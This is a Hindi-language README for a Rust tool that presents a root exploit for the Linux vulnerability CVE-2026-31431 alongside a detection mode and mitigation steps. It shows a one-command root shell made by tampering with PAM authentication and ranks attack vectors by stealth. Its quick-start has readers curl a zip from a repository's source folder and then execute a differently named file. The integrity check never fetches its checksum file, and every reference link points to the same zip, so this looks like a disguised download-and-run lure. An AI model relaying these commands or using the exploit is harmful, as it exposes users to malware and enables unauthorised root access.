copyfail-rs

CVE-2026-31431 (CopyFail) के लिए बहु-वेक्टर PoC + युग्मित पहचान। एक नया PAM प्रमाणीकरण-बायपास वेक्टर शामिल है जो किसी अन्य सार्वजनिक PoC में नहीं है। पहचान मोड वह पकड़ता है जो AIDE / Wazuh / OSSEC / Tripwire संरचनात्मक रूप से नहीं पकड़ सकते।

एकल स्थिर बाइनरी। ~108 KB. no_std musl.

डेमो

noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#

एक कमांड। रूट शेल। हुड के नीचे PAM किलशॉट (एक एकल 4-बाइट राइट टू /etc/pam.d/common-auth), PTY ड्रॉप इन रूट वाया सुडो विथ थ्रोन-अवे पासवर्ड। [sudo] password for noot: लाइन संक्षिप्त रूप से चमकती है, सुडो हमेशा उस संकेत को प्रतिध्वनित करता है; बाइनरी इसे कोई भी स्ट्रिंग खिलाती है और pam_unix की विफलता टिप्पणी किए गए pam_deny.so के माध्यम से pam_permit.so → रूट तक जाती है।

$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===

TAMPERED (1):
  /etc/pam.d/common-auth [ext4]
    cache:  23c4f1ee...  ← what's actually loaded (mutated)
    disk:   117dab1c...  ← what AIDE / Wazuh / Tripwire see (clean)

यही परियोजना है। डिस्क साफ, कैश उत्परिवर्तित। हर सार्वजनिक FIM अंधा है। यह उपकरण नहीं है।

त्वरित आरंभ (निर्माण की आवश्यकता नहीं)

पूर्व-निर्मित स्थिर बाइनरी v0.1.0 रिलीज़ पर। अपना आर्किटेक्चर चुनें, डाउनलोड करें, चलाएं।

# x86_64 (most laptops + cloud servers)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit

अन्य आर्किटेक्चर:

अखंडता सत्यापित करें:

curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt

स्थिर musl बाइनरी, कोई रनटाइम डिप्स नहीं, किसी भी लिनक्स पर छोड़ा जा सकता है।

FIM क्यों अंधा है

पेज कैश उत्परिवर्तन। कोई VFS राइट नहीं। कोई गंदा पेज नहीं। कोई inotify ईवेंट नहीं। आवधिक पुनर्स्कैन बेदखली के साथ होड़ करता है।

AIDE/Wazuh/OSSEC/Tripwire/Samhain बफ़र्ड I/O → पेज कैश के माध्यम से पढ़ते हैं → उत्परिवर्तित बाइट्स को सत्य के रूप में हैश करते हैं। या बेदखली के बाद, साफ डिस्क को हैश करते हैं → "कोई परिवर्तन कभी नहीं हुआ।"

पहचान के लिए O_DIRECT (कैश छोड़ें) + बफर्ड रीड (कैश हिट) + हैश अंतर की आवश्यकता है। बेमेल = CopyFail हस्ताक्षर। वह --scan है।

वेक्टर

ऑटो-पिक: --vector auto (डिफ़ॉल्ट)। चुपके के अनुसार pam > su > passwd को रैंक करता है। विफलता पर बैकअप।

पता लगाना

SIEM इन्जेस्ट के लिए हर जगह --json।

पता लगाने की कलाकृतियाँ

detection/:

• sigma/copyfail-af-alg.yml, Sigma नियम, अपने SIEM में डालें
• auditd/copyfail.rules, augenrules --load
• ebpf/copyfail-trace.bt, bpftrace एक-लाइनर
• apparmor/copyfail-block.profile, AppArmor 3.0+ अस्वीकृति नियम
• mitigation/disable-algif.sh, modprobe ब्लैकलिस्ट + =y चेतावनी

शमन

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead

या कर्नेल मेनलाइन a664bf3d603d (अप्रैल 2026)। अब तक: केवल Debian Sid/Forky ने शिप किया। Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = सभी कमजोर।

चेतावनी: CONFIG_CRYPTO_USER_API_AEAD=y (बिल्ट-इन) चुपचाप modprobe को बायपास करता है। --check चेतावनी देता है।

एक्सप्लॉइट + शमन के बाद: कैश उत्परिवर्तन रीबूट तक बना रहता है। शमन नए एक्सप्लॉइट को रोकता है, पिछले को पूर्ववत नहीं करता।

निर्माण

cargo build --release --target x86_64-unknown-linux-musl

no_std. कोई एलोकेटर नहीं। कोई रनटाइम डिप्स नहीं। एकल स्थिर बाइनरी।

पूर्व-निर्मित आर्टिफैक्ट और SHA256 योग GitHub रिलीज़ से जुड़े।

उपयोग

प्रति मोड (एक्सप्लॉइट ऑटो/लिस्ट/ऑल, डिटेक्ट चेक/स्कैन/बेसलाइन/डिफ/वॉच/हंट) के ठोस एक-स्क्रीन उदाहरणों के लिए docs/usage.md देखें।

इस README के लंबे-रूप कथा संस्करण (अधिक संदर्भ, गहन प्रदर्शनी) के लिए, BLOG.md देखें।

खतरा मॉडल

docs/threat-model.md देखें।

तुलना

अधिकारिकता और नैतिकता

केवल अपना हार्डवेयर। कोई CLI गेट नहीं (सुरक्षा नाटक)। README + LICENSE = ढांचा।

पहचान मोड केवल-पढ़ने के लिए है। उत्पादन पर सुरक्षित।

एक्सप्लॉइट मोड कर्नेल पेज कैश को उत्परिवर्तित करता है। केवल RAM लेकिन विनाशकारी समझें। किसी भी बाद के कॉलर के लिए प्रमाणीकरण अवरुद्ध करता है।

श्रेय

CVE-2026-31431 को Theori / Xint द्वारा 2026-04-29 को खुलासा किया गया (विवरण, Xint ब्लॉग)। पिछले सार्वजनिक PoCs:

• theori-io/copy-fail-CVE-2026-31431 (Python, 732 बाइट्स, su वेक्टर)
• tgies/copy-fail-c (C with nolibc, su + passwd वेक्टर, पोर्टेबल)
• badsectorlabs/copyfail-go (स्थिर Go बाइनरी, su वेक्टर)

यह परियोजना (copyfail-rs): PAM प्रमाणीकरण-बायपास वेक्टर, दोहरी-मोड पहचान, IR कलाकृतियाँ जोड़ती है।

लाइसेंस

MIT.

संदर्भ

• https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
• Linux fix: a664bf3d603d
• Floor: 72548b093ee3 (4.14, Aug 2017)
• Analog: Dirty Pipe (CVE-2022-0847)